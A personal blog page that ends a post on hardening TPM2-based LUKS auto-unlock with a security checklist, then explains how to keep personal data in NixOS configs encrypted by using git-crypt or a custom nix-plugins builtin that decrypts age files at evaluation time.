We learned that this problem is not easily fixed, as it requires an additional verification step that cannot simply be activated on most distributions at present. It is critical to ensure that there is an unbroken chain of trust from the bootloader to the actual system.

Here is a checklist of things to consider when setting up TPM2 auto-unlock:

Your kernel and initramfs are both signed and verified (UKI or MOK), or you are using PCR 9 together with a shim that hashes the images at boot time.
You have enrolled a LUKS key in the TPM2 on at least PCR 7 (+9 if necessary).
If you are decrypting multiple devices in the initrd, their decryption order is deterministic.
After decryption - and before any user executable is called - the initramfs verifies the identity of all encrypted disks, preferably by measuring a derivative of the volume key into PCR 15 for each disk.
Your initrd's emergency shell (if any) is password-protected.
Your bootloader does not allow you to alter the kernel command line, or you've included a PCR used in the LUKS key enrollment that depends on the kernel command line.

Thank you for taking the time to read this article - I hope you found it both interesting and enjoyable 😊.

If you'd like to send me feedback or just reach out, feel free to contact me on Matrix!

Discussion threads for this post:

Evaluation time secrets in Nix: Importing encrypted nix files

Unknown — Sun, 22 Sep 2024 00:00:00 +0000

Dealing with secret values in NixOS is probably one of the first obstacles you come across when managing a NixOS-based server. In case you are not entirely familiar with the problem, the main issue is that any values part of a configuration file will inevitably end up in the nix store under /nix/store/<hash>..., and all of these paths are world-readable.

However, there are different kinds of secret values:

The classical "true secrets" which might be a private key, password, API token or something similar. There already are many great solutions to manage these, either by uploading them off-channel or by storing them in an encrypted form in the nix store via agenix or sops-nix. ¹
But then there is also personally identifiable information (PII) like MAC addresses, domain names, your home address, etc. - and what I would call "weak secrets", like a properly hashed password. I would not want to disclose this information publicly, although it is not strictly a problem to do so. And having this information in the world-readable Nix store is most likely fine, too.

Usually, we mean the former when referring to secrets, but today we will focus on the latter. One of the great things about the Nix ecosystem is that many people are willing to share their configuration files publicly on GitHub or on other git forges, which makes it so convenient to check how other people have dealt with a particular service or program. On the other hand, as soon as a module contains PII, it is often the simplest solution to just remove it from the public repository and put it into a private one. But this is not without drawbacks as you now have two git repositories for one project which need to be kept in sync.

Generally, handling PII with Nix is quite different from handling true secrets simply because we require the information at evaluation time. There just is no easy way to insert MAC addresses into systemd or udev configuration files at runtime or to remove a username from your home-manager configuration. Pretty much everything that doesn't have a passwordFile (or equivalent) option cannot be offloaded to when the system is running. We somehow have to make the information available to Nix when we evaluate the config. So let's have a look at the different ways this is commonly done and how I chose to do it.

🔗 Splitting repositories

As mentioned previously, a simple solution to that problem is to just split any sensitive information off to a second repository. Just from my experience, I would say this is the most common way to deal with it.

Some people just move all relevant files there, but of course, you can get more sophisticated and have a private/secrets.nix file containing only the sensitive stuff. It is both simple and effective but some might find that it is inconvenient to manually ensure that both repositories are in sync. If you are tracking repository commits via a lock file or flake.lock for reproducibility, you will have to make a second commit to the public repository each time.

I'm not a huge fan of having to maintain two repositories that work like a single repository, but this is of course my personal preference. If you are searching for a dead simple solution, this is it.

🔗 Using git-crypt

So the next idea that comes to mind is to use git-crypt to transparently encrypt the relevant files in the repository. The idea behind these tools is to filter files through a custom tool by utilizing .gitattributes when they are committed or checked out, which automatically en- or decrypts them accordingly. Let's say from now on we would want to encrypt everything in secrets/, then we can do:

$ git-crypt init
$ echo 'secrets/** filter=git-crypt diff=git-crypt' >> .gitattributes
$ git-crypt add-gpg-user <USER_ID>

Or after checking out the repository somewhere else:

$ git-crypt unlock

This works pretty well, but you need to remember to unlock git-crypt whenever you clone the repository, so keep that in mind if you want to build your configuration in a CI. There are also some limitations of git-crypt itself. Notably, one cannot easily delete old GPG keys or symmetric keys to rotate them. Of course, an attacker might have access to your public repository history anyway, so revoking access is mostly relevant for future secrets. Also watch out for issues with third-party git GUIs, which can leave files in an unencrypted state.

I have used git-crypt before but noticed that I wanted something more direct, that doesn't require an additional tool and where I could use age instead of GPG, which allows me to reuse the same keys as for agenix. Only later I found out about git-agecrypt (which is git-crypt with age), and might be a good compromise. Truthfully, I was also a bit worried about one day accidentally committing some stuff in an unencrypted state after a git-crypt lock - although that would've been on me.

🔗 Importing encrypted nix files

So ultimately I was searching for a way to solve the problem in Nix by using import with encrypted .nix files. Imagine import ./secrets.nix.age which magically prompts for decryption if necessary. But alas, this is impossible with pure Nix simply because decryption is fundamentally an impure operation. It always requires a secondary input (your private key or password) which obviously cannot be known or given to Nix beforehand. So the only way to achieve this is to add support to Nix itself.

Luckily, Nix does have a plugin system (kind of)! There is an option for nix called plugin-files which you can put into your nix.conf:

A list of plugin files to be loaded by Nix. Each of these files will be dlopened by Nix, allowing them to affect execution through static initialization. [...]

🔗 Trying nix-plugins

So by providing a suitable object file, we can inject code into nix. Fortunately, we don't even have to write it from scratch since there already exists a project called nix-plugins that provides a generic plugin, which:

Adds a new nix option called extra-builtins-file where we can specify a nix file. That file must return an attrset where each member will become a new builtin.
Actually, the file contains a function that returns an attrset, because we are given some extra stuff to use. Most importantly a function called exec which we may use to execute arbitrary commands.

So a dead simple extra-builtins.nix file would look like this:

_args: {
 helloWorld = "Hello World!";
}

Now we just have to define the two options plugin-files and extra-builtins-file in our nix config. Since we don't want to enable this system-wide, a much better option is to use NIX_CONFIG to define and add these on top of the system's main nix.conf for this session.

$ nix build --no-link --print-out-paths nixpkgs#nix-plugins
/nix/store/0q842xsb1yddrn8jxi2dm6njry1cxjmd-nix-plugins-14.0.0

$ export NIX_CONFIG="
plugins-files=/nix/store/0q842xsb1yddrn8jxi2dm6njry1cxjmd-nix-plugins-14.0.0/lib/nix/plugins
extra-builtins-file=/absolute/path/to/extra-builtins.nix
"

$ nix repl
nix-repl> builtins.extraBuiltins.helloWorld
"Hello World!"

Nice! But this is nothing special yet, we could have had this before. What's new is that we can access the exec function from the arguments that were given to us. This lets us run any program we like. So let's change the example to run echo instead:

{exec, ...}: {
 helloWorld = exec ["/usr/bin/env" "bash" "-c" "echo Hello World"];
}

But after restarting the repl and evaluating our builtin, we are greeted with an error:

$ nix repl
nix-repl> builtins.extraBuiltins.helloWorld
 # [...]
 (stack trace truncated; use '--show-trace' to show the full trace)
 error: undefined variable 'Hello'
 at «string»:1:1:
 1| Hello World
 | ^
 2|
nix-repl>

Apparently this is because the result of the exec command is directly interpreted as nix code! So exec is both executing the command and then also executing the result as nix code, which of course is very handy. To fix the error we just have to provide quotes in the output to make it valid nix code:

{exec, ...}: {
 helloWorld = exec ["/usr/bin/env" "bash" "-c" "echo '\"Hello World\"'"];
}

$ nix repl
nix-repl> builtins.extraBuiltins.helloWorld
"Hello World!"

🔗 Importing secrets with nix-plugins

Now we can actually try to create a new function that acts like import but decrypts the given file first. Since we can now execute arbitrary code as part of any nix expression, we must be very careful to not break any internal assumptions. We want to ensure that the encrypted import function is deterministic and only works when given a path primitive, so it stays pure (ignoring the impurity of the decryption).

We could now directly call age or gpg in our new builtin to perform the decryption, but since we need to provide a valid nix expression as the output, it may be a better idea to first call a wrapper script which then outputs a path to the decrypted nix file. This adds some flexibility where we can later decide to make a version that doesn't directly call import, but outputs the decrypted path instead. This may be beneficial when the decrypted file is a NixOS module which we want to pass to NixOS's imports = [ ... ];, since it can then add information about the source file in case any errors occur in that file.

Later this wrapper can also be used to locally cache the decrypted output based on the input hash, or to add an interaction-free mode for usage in a CI. But first, let's get started by defining a new builtin importEncrypted:

{exec, ...}: let
 assertMsg = pred: msg: pred || builtins.throw msg;
in {
 importEncrypted = identity: nixFile:
 assert assertMsg (builtins.isPath nixFile) "The file to decrypt must be given as a path to prevent impurity.";
 import (exec [./decrypt.sh identity nixFile]);
}

Since I'll be using age to decrypt, the function requires an identity for decryption. For me, this is just my YubiKey key grab which I use via age-plugin-yubikey but could theoretically also be an SSH key or any other age identity (you could use a TPM for example). A very simple decrypt.sh script would work like this:

#!/usr/bin/env bash
set -euo pipefail
# create a temporary file
TMP=$(mktemp --suff .nix) || { echo "Failed to create a temporary file to decrypt '$2'!" >&2; exit 1; }
# decrypt input (if this fails, the script exits with an unsuccessful code causing an evaluation error)
umask 077
rage --decrypt --identity "$1" --output "$TMP" "$2"
# print the filename of the result
echo "$TMP"

This will try to decrypt whatever file is given with the provided identity, place the cleartext result in a new .nix file in /tmp and return the path to that file. This file is then imported by our builtin and so we can now finally import encrypted files:

$ nix repl
nix-repl> secrets = builtins.extraBuiltins.importEncrypted ./yubikey-keygrab.txt ./secrets.nix.age;
# <I'm prompted to unlock my YubiKey>
nix-repl> :p secrets
{ home = { latitude = "22.4438556"; longitude = "-74.2203343"; }; }

So we now can decrypt secrets at evaluation time in nix! Unfortunately, it's mildly inconvenient to enter a PIN or password each time I want to build my config. Since we are only dealing with PII and not true secrets, I don't mind having the decrypted content around on my machine for a longer time. So I extended the wrapper script to cache the output by using a deterministic path based on the sha512sum of the encrypted content. It certainly makes my life a lot easier, but if your threat model is different you can of course leave the script as-is.

The cache can even live outside of the repository, meaning I don't have to worry about adding the decrypted files to git accidentally - I settled on /var/tmp so it persists across reboots. If you want to have a look at the extended script, you can view it here in my nix-config repository.

🔗 Automated setup in a devShell

There is one additional caveat which I ignored previously that we have to address. Using nix-plugins requires a matching version of Nix to work, since it links against the internal nix functions and these change frequently with new versions. A mismatch between the two programs may cause an error when calling nix:

error: could not dynamically open plugin file '[...]/lib/nix/plugins/libnix-extra-builtins.so':
undefined symbol: _ZN3nix17prim_importNativeERNS_9EvalStateERKNS_3PosEPPNS_5ValueERS5

A pretty simple solution to this is to use both nix and nix-plugins from the same version of nixpkgs, which is trivial when you have a devshell in use already. And while we're at it we can also use it to export the NIX_PLUGINS. This means we now just have to enter the devshell with nix-shell shell.nix (or nix develop if you are using flakes) and everything will be set up automatically. Here's an example shell:

{ pkgs ? import <nixpkgs> {} }: pkgs.mkShell {
 nativeBuildInputs = [
 # Make sure to grab nix to match nix-plugins below
 pkgs.nix
 # Anything required for the decryption script
 pkgs.age
 # Your other stuff ...
 ];

 # We use ${./.} here to get a stable path to our extra-builtins.nix file potentially from
 # the nix store, which will allow this to be used with pure evaluation (default for flakes).
 shellHook = ''
 export NIX_CONFIG="
 plugin-files = ${pkgs.nix-plugins}/lib/nix/plugins
 extra-builtins-file = ${./.}/extra-builtins.nix
 "
 '';
}

🔗 Conclusion

We've seen different ways to manage private information in a nix repository, from a simple split-repository over git-crypt to our custom solution. We learned about Nix's plugin system and the related nix-plugins project which allowed us to define our own importEncrypted function that we can now use directly from nix.

Is the final solution better than the alternatives? Probably not, but I would say it isn't too bad either. I definitely had a lot of fun tinkering around and was able to make something that I like using. In any case, I hope you enjoyed it and maybe learned something interesting today.

Regarding true secrets, there is a long-standing issue to add first-class support for private files to Nix, which could simplify some things, but for now, we have to make do without it. And even if there was support to have private files in the nix store, it would not directly solve all problems. Many people first build their configuration on another machine and then deploy it to a remote server from there. In this case, the build machine will also get a copy of the secret placed in its store, which you likely want to avoid. So it won't be a universal solution.